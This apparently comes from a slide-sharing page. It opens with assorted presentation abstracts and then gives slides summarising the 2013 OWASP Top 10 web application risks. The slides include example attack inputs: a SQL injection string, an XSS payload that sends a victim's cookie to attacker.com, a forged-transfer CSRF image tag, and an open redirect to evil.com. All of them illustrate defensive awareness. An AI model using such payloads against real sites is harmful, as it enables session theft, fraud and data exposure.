This talk walks through the basics of web security without focussing too much on the particular tools that you choose. The concepts are universal, although most examples will be in Perl. We'll also look at various attack vectors (SQL Injection, XSS, CSRF, and more) and see how you can avoid them. Whether you're an experienced web developer (we all need reminding) or just starting out, this talk can help avoid being the next easy harvest of The Bad Guys.
An exposition on the security of the web. Is the web safe enough? History has taught us that we should never underestimate the amount of money, time, and effort someone will expend to thwart a security system.
Basic overview, testing, mitigation plan for popular web application vulnerabilities such as: XSS, CSRF, SQLi etc.

Remote and local file inclusion (RFI/LFI) attacks are a favorite choice for hackers and many security professionals aren't noticing. Why is RFI/LFI attractive to hackers? Our report explains why hackers exploit RFI/LFI and what security teams need to do to stop it.
Top Ten Proactive Web Security Controls v5Jim Manico
It is not easy to build a secure, low-risk or risk-managed web application. Firewalls, “policy” and other traditional information security measures serve as either an incomplete or useless measure in the pursuit of web application security.
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game.
This document was written by developers for developers, to assist those new to secure development. It aims to guide developers and other software development professionals down the path of secure web application software development.
This document is neither scientific nor complete. In fact it is a bit misguided. There are more than 10 issues that developers need to be aware of. Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.
This session explains how the combination of IEEE 802.1AE (data link encryption) with the power of Session Group Tags achieves trusted security in a network. It covers the protocols details as well as use case and more importantly how CTS can be deployed in a network. This session is targeted mainly to enterprise customers.
This presentation is based on the 16th chapter of our textbook Fundamentals of Web Development. The book is published by Addison-Wesley. It can be purchased via http://www.amazon.com/Fundamentals-Web-Development-Randy-Connolly/dp/0133407152.
This book is intended to be used as a textbook on web development suitable for intermediate to upper-level computing students. It may also be of interest to a non-student reader wanting a single book that encompasses the entire breadth of contemporary web development.
This book will be the first in what will hopefully be a textbook series. Each book in the series will have the same topics and coverage but each will use a different web development environment. The first book in the series will use PHP.
To learn more about the book, visit http://www.funwebdev.com.
This is a multi-faceted workshop that explores new concepts in web security. After a solid grounding in well-known exploits like cross-site scripting (XSS) and cross-site request forgeries (CSRF), I'll demonstrate how traditional exploits are being used together and with other technologies like Ajax to launch sophisticated attacks that penetrate firewalls, target users, and spread like worms. I'll then discuss some ideas for the future, such as evaluating trends to identify suspicious activity and understanding human tendencies and behavior to help provide a better, more secure user experience.
Did you know remote and local file inclusion (RFI/LFI) was among the four most prevalent Web application attacks in 2011? Why is RFI/LFI so attractive to hackers? Quite simply, with RFI/LFI a hacker can take over a Web server. RFI and LFI attacks primarily affect Web applications written in the PHP programming language. PHP is the most popular server-side programming language. In fact, PHP is used by 77.2% of today’s Web sites. This presentation looks at how hackers use RFI/LFI and avoid traditional detection techniques.

OWASP Top 10 List Overview for Web DevelopersBenjamin Floyd
The OWASP Top 10 List was recently updated for 2013, and many developers still do not know what it is or why they should care. It is a list of the top web security threats developers need to address to produce secure websites. Most developers aren't security experts, so the OWASP Top 10 Project has created resources designed for developers to quickly test their applications. Come hear about the list, why and how you can use it to make your job easier, and learn about resources you can use to quickly determine if your applications are addressing security threats properly.
OWASP is an open community dedicated to enabling organizations to conceive, develop, acquire, operate, and maintain applications that can be trusted. All of the OWASP tools, documents, forums, and chapters are free and open to anyone interested in improving application security.

Epistemic Interaction - tuning interfaces to provide information for AI supportAlan Dix
Paper presented at SYNERGY workshop at AVI 2024, Genoa, Italy. 3rd June 2024
https://alandix.com/academic/papers/synergy2024-epistemic/
As machine learning integrates deeper into human-computer interactions, the concept of epistemic interaction emerges, aiming to refine these interactions to enhance system adaptability. This approach encourages minor, intentional adjustments in user behaviour to enrich the data available for system learning. This paper introduces epistemic interaction within the context of human-system communication, illustrating how deliberate interaction design can improve system understanding and adaptation. Through concrete examples, we demonstrate the potential of epistemic interaction to significantly advance human-computer interaction by leveraging intuitive human communication strategies to inform system design and functionality, offering a novel pathway for enriching user-system engagements.
Neuro-symbolic is not enough, we need neuro-*semantic*Frank van Harmelen
Neuro-symbolic (NeSy) AI is on the rise. However, simply machine learning on just any symbolic structure is not sufficient to really harvest the gains of NeSy. These will only be gained when the symbolic structures have an actual semantics. I give an operational definition of semantics as “predictable inference”.
All of this illustrated with link prediction over knowledge graphs, but the argument is general.

4. Why security is important?
• Nonsecure software is undermining our financial, healthcare, defense, energy, and other critical infrastructure.
• The difficulty of achieving application security increases exponentially.
Attackers can potentially use many different paths through your application to do harm to your business or organization.
Each of these paths represents a risk that may, or may not, be serious enough to warrant attention.
Sometimes, these paths are trivial to find and exploit and sometimes they are extremely difficult. Similarly, the harm that is
caused may be of no consequence, or it may put you out of business.
To determine the risk to your organization, you can evaluate the likelihood associated with each threat agent, attack vector,
and security weakness and combine it with an estimate of the technical and business impact to your organization.
For each of these risks, we provide generic information about likelihood and technical impact using the following simple
ratings scheme, which is based on the OWASP Risk Rating Methodology.
5. Top 10 Application Security Risks
А1 Injection
Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an
interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into
executing unintended commands or accessing data without proper authorization.
If the attacker modifies the ‘id’ parameter value in her browser to send: ' or '1'='1.
For example: http://example.com/app/accountView?id=' or '1'='1
This changes the meaning of both queries to return all the records from the accounts table.
More dangerous attacks could modify data or even invoke stored procedures.
6. Top 10 Application Security Risks
А2 Broken Authentication and Session Management
Application functions related to authentication and session management are often not
implemented correctly, allowing attackers to compromise passwords, keys, or session
tokens, or to exploit other implementation flaws to assume other users’ identities.
Airline reservations application supports URL rewriting, putting session IDs in the URL:
http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
An authenticated user of the site wants to let his friends know about the sale. He e-mails the
above link without knowing he is also giving away his session ID. When his friends use the
link they will use his session and credit card.
7. Top 10 Application Security Risks
А3 Cross-Site Scripting (XSS)
XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper
validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user
sessions, deface web sites, or redirect the user to malicious sites.
The application uses untrusted data in the construction of the following HTML snippet without validation or
escaping:
(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";
The attacker modifies the ‘CC’ parameter in his browser to:
'><script>document.location=http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.
This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the
user’s current session.
8. Top 10 Application Security Risks
А4 Insecure Direct Object References
A direct object reference occurs when a developer exposes a reference to an internal
implementation object, such as a file, directory, or database key. Without an access control
check or other protection, attackers can manipulate these references to access
unauthorized data.
The application uses unverified data in a SQL call that is accessing account information:
String query = "SELECT * FROM accts WHERE account = ?";PreparedStatement pstmt
=connection.prepareStatement(query , … );pstmt.setString( 1, request.getParameter("acct"));ResultSet results =
pstmt.executeQuery( );
The attacker simply modifies the ‘acct’ parameter in her browser to send whatever account number she wants. If not
properly verified, the attacker can access any user’s account, instead of only the intended customer’s account.
http://example.com/app/accountInfo?acct=notmyacct
9. Top 10 Application Security Risks
А5 Security Misconfiguration
Good security requires having a secure configuration defined and deployed for the
application, frameworks, application server, web server, database server, and platform.
Secure settings should be defined, implemented, and maintained, as defaults are often
insecure. Additionally, software should be kept up to date.
The app server admin console is automatically installed and not removed. Default
accounts aren’t changed. Attacker discovers the standard admin pages are on your server,
logs in with default passwords, and takes over.
10. Top 10 Application Security Risks
А6 Sensitive Data Exposure
Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and
authentication credentials. Attackers may steal or modify such weakly protected data to conduct
credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as
encryption at rest or in transit, as well as special precautions when exchanged with the browser.
An application encrypts credit card numbers in a database using automatic database
encryption. However, this means it also decrypts this data automatically when retrieved,
allowing an SQL injection flaw to retrieve credit card numbers in clear text.
The system should have encrypted the credit card numbers using a public key, and only
allowed back-end applications to decrypt them with the private key
11. Top 10 Application Security Risks
А7 Missing Function Level Access Control
Most web applications verify function level access rights before making that functionality
visible in the UI. However, applications need to perform the same access control checks on
the server when each function is accessed. If requests are not verified, attackers will be
able to forge requests in order to access functionality without proper authorization.
A page provides an ‘action‘ parameter to specify the function being invoked, and
different actions require different roles. If these roles aren’t enforced, that’s a flaw.
12. Top 10 Application Security Risks
А8 Cross-Site Request Forgery (CSRF)
A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the
victim’s session cookie and any other automatically included authentication information, to a
vulnerable web application. This allows the attacker to force the victim’s browser to generate
requests the vulnerable application thinks are legitimate requests from the victim.
The application allows a user to submit a state changing request that does not include anything secret.
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
So, the attacker constructs a request that will transfer money from the victim’s account to the attacker’s
account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s
control:
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct#“width="0" height="0" />
If the victim visits any of the attacker’s sites while already authenticated to example.com, these forged requests
will automatically include the user’s session info, authorizing the attacker’s request.
13. Top 10 Application Security Risks
А9 Using Components with Known Vulnerabilities
Components, such as libraries, frameworks, and other software modules, almost always run with full
privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or
server takeover. Applications using components with known vulnerabilities may undermine
application defenses and enable a range of possible attacks and impacts.
• Apache CXF Authentication Bypass – By failing to provide an identity token, attackers could invoke
any web service with full permission. (Apache CXF is a services framework, not to be confused with
the Apache Application Server.)
• Spring Remote Code Execution – Abuse of the Expression Language implementation in Spring
allowed attackers to execute arbitrary code, effectively taking over the server.
14. Top 10 Application Security Risks
А10 Unvalidated Redirects and Forwards
Web applications frequently redirect and forward users to other pages and websites, and use
untrusted data to determine the destination pages. Without proper validation, attackers can
redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.
The application has a page called “redirect.jsp” which takes a single parameter named “url”.
The attacker crafts a malicious URL that redirects users to a malicious site that performs
phishing and installs malware. http://www.example.com/redirect.jsp?url=evil.com
15. Summary
The following table presents a summary of the 2013 Top 10 Application Security Risks, and
the risk factors assigned to each risk. These factors were determined based on the available
statistics and the experience of the OWASP Top 10 team.
To understand these risks for a particular application or organization, you must consider
your own specific threat agents and business impacts.
